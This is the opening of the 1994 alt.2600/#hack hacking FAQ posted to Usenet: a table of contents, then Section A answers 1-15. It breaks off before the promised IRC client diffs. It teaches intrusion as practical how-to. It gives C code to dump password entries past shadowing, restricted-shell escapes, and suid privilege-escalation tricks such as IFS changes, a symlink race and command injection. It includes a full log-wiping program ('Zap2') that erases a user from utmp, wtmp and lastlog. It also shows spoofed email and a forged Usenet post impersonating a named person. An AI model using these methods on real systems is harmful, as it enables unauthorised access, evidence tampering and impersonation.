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From will@gnu.ai.mit.edu (Will Spencer)
Newsgroups: alt.2600,alt.answers,news.answers
Subject: alt.2600 FAQ, Beta .010 - Part 1/1
Followup-To: alt.2600
Reply-To: will@gnu.ai.mit.edu (FAQ Comments address)
Summary: This posting contains a list of Frequently Asked
Questions (and their answers) about hacking. It
should be read by anyone who wishes to post to the
alt.2600 newsgroup or use the IRC channel #hack.
Archive-name: alt-2600-faq
Posting-Frequency: Random
Last-Modified: 1994/12/18
Version: Beta .010
Editors Note: Welcome to Beta .010 of the alt.2600/#hack FAQ!
Eleet greets go out to Outsider for producing an
excellent WWW version of this document at:
http://www.engin.umich.edu/~jgotts/hack-faq.html
The purpose of this FAQ is to give you a general
introduction to the topics covered in alt.2600 and
#hack. No document will make you a hacker.
If you have a questions regarding any of the topics
covered in the FAQ, please direct it to alt.2600 or
#hack. Please do not e-mail me with them, I'm getting
swamped.
If your copy of the #hack FAQ does not end with the
letters EOT on a line by themselves, you do not have the
entire FAQ.
** BETA **
Beta Revision .010
alt.2600/#Hack F.A.Q.
A TNO Communication Production
by
Voyager
will@gnu.ai.mit.edu
Sysop of
Hacker's Haven
(303)343-4053
With special thanks to:
A-Flat, Al, Aleph1, Bluesman, C-Curve, DeadKat, Edison,
Hobbit, KCrow, Major, Marauder, Novocain, Outsider, Presence,
Rogue Agent, sbin, Taran King, Tomes and TheSaint.
We work in the dark
We do what we can
We give what we have
Our doubt is our passion,
and our passion is our task
The rest is the madness of art.
-- Henry James
Section A: Computers
01. How do I access the password file under Unix?
U 02. How do I crack Unix passwords?
03. What is password shadowing?
04. Where can I find the password file if it's shadowed?
05. What is NIS/yp?
06. What are those weird characters after the comma in my passwd file?
07. How do I access the password file under VMS?
08. How do I crack VMS passwords?
09. How do I break out of a restricted shell?
10. How do I gain root from a suid script or program?
11. How do I erase my presence from the system logs?
12. How do I send fakemail?
13. How do I fake posts to UseNet?
14. How do I hack ChanOp on IRC?
15. How do I modify the IRC client to hide my real username?
U 16. How to I change to directories with strange characters in them?
17. What is ethernet sniffing?
18. What is an Internet Outdial?
19. What are some Internet Outdials?
U 20. What is this system?
U 21. What are the default accounts for XXX ?
22. What port is XXX on?
23. What is a trojan/worm/virus/logic bomb?
U 24. How can I protect myself from virii and such?
25. What is Cryptoxxxxxxx?
26. What is PGP?
U 27. What is Tempest?
28. What is an anonymous remailer?
29. What are the addresses of some anonymous remailers?
30. How do I defeat copy protection?
31. What is 127.0.0.1?
Section B: Telephony
U 01. What is a Red Box?
U 02. How do I build a Red Box?
03. Where can I get a 6.5536Mhz crystal?
04. Which payphones will a Red Box work on?
N 05. How do I make local calls with a Red Box?
U 06. What is a Blue Box?
07. Do Blue Boxes still work?
08. What is a Black Box?
U 09. What do all the colored boxes do?
10. What is an ANAC number?
11. What is the ANAC number for my area?
12. What is a ringback number?
U 13. What is the ringback number for my area?
14. What is a loop?
U 15. What is a loop in my area?
U 16. What is a CNA number?
U 17. What is the telephone company CNA number for my area?
U 18. What are some numbers that always ring busy?
U 19. What are some numbers that temporarily disconnect phone service?
20. What is scanning?
21. Is scanning illegal?
22. Where can I purchase a lineman's handset?
23. What are the DTMF frequencies?
24. What are the frequencies of the telephone tones?
U 25. What are all of the * codes?
26. What frequencies do cordless phones operate on?
Section C: Resources
U 01. What are some ftp sites of interest to hackers?
U 02. What are some newsgroups of interest to hackers?
U 03. What are some telnet sites of interest to hackers?
U 04. What are some gopher sites of interest to hackers?
U 05. What are some World wide Web (WWW) sites of interest to hackers?
06. What are some IRC channels of interest to hackers?
U 07. What are some BBS's of interest to hackers?
U 08. What books are available on this subject?
U 09. What are some mailing lists of interest to hackers?
U 10. What are some print magazines of interest to hackers?
U 11. What are some organizations of interest to hackers?
12. Where can I purchase a magnetic stripe encoder/decoder?
N 13. What are the rainbow books and how can I get them?
Section D: 2600
01. What is alt.2600?
02. What does "2600" mean?
03. Are there on-line versions of 2600 available?
04. I can't find 2600 at any bookstores. What can I do?
05. Why does 2600 cost more to subscribe to than to buy at a newsstand?
Section E: Miscellaneous
01. What does XXX stand for?
02. How do I determine if I have a valid credit card number?
03. What bank issued this credit card?
04. What are the ethics of hacking?
U 05. Where can I get a copy of the alt.2600/#hack FAQ?
U == Updated since last release of the #hack FAQ
N == New since last release of the #hack FAQ
Section A: Computers
~~~~~~~~~~~~~~~~~~~~
01. How do I access the password file under Unix?
In standard Unix the password file is /etc/passwd. On a Unix system
with either NIS/yp or password shadowing, much of the password data
may be elsewhere.
02. How do I crack Unix passwords?
Contrary to popular belief, Unix passwords cannot be decrypted. Unix
passwords are encrypted with a one way function. The login program
encrypts the text you enter at the "password:" prompt and compares
that encrypted string against the encrypted form of your password.
Password cracking software uses wordlists. Each word in the wordlist
is encrypted and the results are compared to the encrypted form of the
target password.
The best cracking program for Unix passwords is currently Crack by
Alec Muffett. For PC-DOS, the best package to use is currently
CrackerJack.
03. What is password shadowing?
Password shadowing is a security system where the encrypted password
field of /etc/passwd is replaced with a special token and the
encrypted password is stored in a separate file which is not readable
by normal system users.
To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file.
Example:
#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
04. Where can I find the password file if it's shadowed?
Unix Path Token
-----------------------------------------------------------------
AIX 3 /etc/security/passwd !
or /tcb/auth/files/<first letter #
of username>/<username>
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/<first letter *
of username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
<optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
05. What is NIS/yp?
NIS (Network Information System) in the current name for what was once
known as yp (Yellow Pages). The purpose for NIS is to allow many
machines on a network to share configuration information, including
password data. NIS is not designed to promote system security. If
your system uses NIS you will have a very short /etc/passwd file that
includes a line that looks like this:
+::0:0:::
To view the real password file use this command "ypcat passwd"
06. What are those weird characters after the comma in my passwd file?
The characters are password aging data. Password aging forces the
user to change passwords after a System Administrator specified period
of time. Password aging can also force a user to keep a password for
a certain number of weeks before changing it.
]
] Sample entry from /etc/passwd with password aging installed:
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
Note the comma in the encrypted password field. The characters after
the comma are used by the password aging mechanism.
]
] Password aging characters from above example:
]
] M.z8
]
The four characters are interpreted as follows:
1: Maximum number of weeks a password can be used without changing.
2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.
Three special cases should be noted:
If the first and second characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. The
passwd program will then remove the passwd aging characters, and the
user will not be subjected to password aging requirements again.
If the third and fourth characters are set to '..' the user will be
forced to change his/her passwd the next time he/she logs in. Password
aging will then occur as defined by the first and second characters.
If the first character (MAX) is less than the second character (MIN),
the user is not allowed to change his/her password. Only root can
change that users password.
It should also be noted that the su command does not check the password
aging data. An account with an expired password can be su'd to
without being forced to change the password.
Password Aging Codes
+------------------------------------------------------------------------+
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |
+------------------------------------------------------------------------+
07. How do I access the password file under VMS?
Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However,
unlike Unix, most users do not have access to read the password file.
08. How do I crack VMS passwords?
Write a program that uses the SYS$GETUAF functions to compare the
results of encrypted words against the encrypted data in SYSUAF.DAT.
Two such programs are known to exist, CHECK_PASSWORD and
GUESS_PASSWORD.
09. How do I break out of a restricted shell?
On poorly implemented restricted shells you can break out of the
restricted environment by running a program that features a shell
function. A good example is vi. Run vi and use this command:
:set shell=/bin/sh
then shell using this command:
:shell
10. How do I gain root from a suid script or program?
1. Change IFS.
If the program calls any other programs using the system() function
call, you may be able to fool it by changing IFS. IFS is the Internal
Field Separator that the shell uses to delimit arguments.
If the program contains a line that looks like this:
system("/bin/date")
and you change IFS to '/' the shell will them interpret the
proceeding line as:
bin date
Now, if you have a program of your own in the path called "bin" the
suid program will run your program instead of /bin/date.
To change IFS, use this command:
IFS='/';export IFS # Bourne Shell
setenv IFS '/' # C Shell
export IFS='/' # Korn Shell
2. link the script to -i
Create a symbolic link named "-i" to the program. Running "-i"
will cause the interpreter shell (/bin/sh) to start up in interactive
mode. This only works on suid shell scripts.
Example:
% ln suid.sh -i
% -i
#
3. Exploit a race condition
Replace a symbolic link to the program with another program while the
kernel is loading /bin/sh.
Example:
nice -19 suidprog ; ln -s evilprog suidroot
4. Send bad input to the program.
Invoke the name of the program and a separate command on the same
command line.
Example:
suidprog ; id
11. How do I erase my presence from the system logs?
Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text
files that can be edited by hand with vi, you must use a program
specifically written for this purpose.
Example:
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
12. How do I send fakemail?
Telnet to port 25 of the machine you want the mail to appear to
originate from. Enter your message as in this example:
HELO bellcore.com
MAIL FROM:Voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
Please discontinue your silly Clipper initiative.
.
QUIT
On systems that have RFC 931 implemented, spoofing your "MAIL FROM:"
line will not work. Test by sending yourself fakemail first.
For more informationm read RFC 822 "Standard for the format of ARPA
Internet text messages."
13. How do I fake posts to UseNet?
Use inews to post. Give inews the following lines:
From:
Newsgroups:
Subject:
Message-ID:
Date:
Organization:
For a moderated newsgroup, inews will also require this line:
Approved:
Then add your post and terminate with <Control-D>.
Example:
From: Eric S. Real
Newsgroups: alt.hackers
Subject: Pathetic bunch of wannabe losers
Message-ID: <esr.123@locke.ccil.org>
Date: Fri, 13 Aug 1994 12:15:03
Organization: Moral Majority
A pathetic bunch of wannabe losers is what most of you are, with no
right to steal the honorable title of `hacker' to puff up your silly
adolescent egos. Get stuffed, get lost, and go to jail.
Eric S. Real <esr@locke.ccil.org>
^D
Note that many systems will append an Originator: line to your message
header, effectively revealing the account from which the message was
posted.
14. How do I hack ChanOp on IRC?
Find a server that is split from the rest of IRC and create your own
channel there using the name of the channel you want ChanOp on. When
that server reconnects to the net, you will have ChanOp on the real
channel. If you have ServerOp on a server, you can cause it to split
on purpose.
15. How do I modify the IRC client to hide my real username?
Get the IRC client from cs.bu.edu /irc/clients. Look at the source
code files irc.c and ctcp.c. The code you are looking for is fairly
easy to spot. Change it. Change the username code in irc.c and the
ctcp information code in ctcp.c. Compile and run your client.
Here are the diffs from a sample hack of the IRC client. Your client
code will vary slightly depending on what IRC client version you are
running.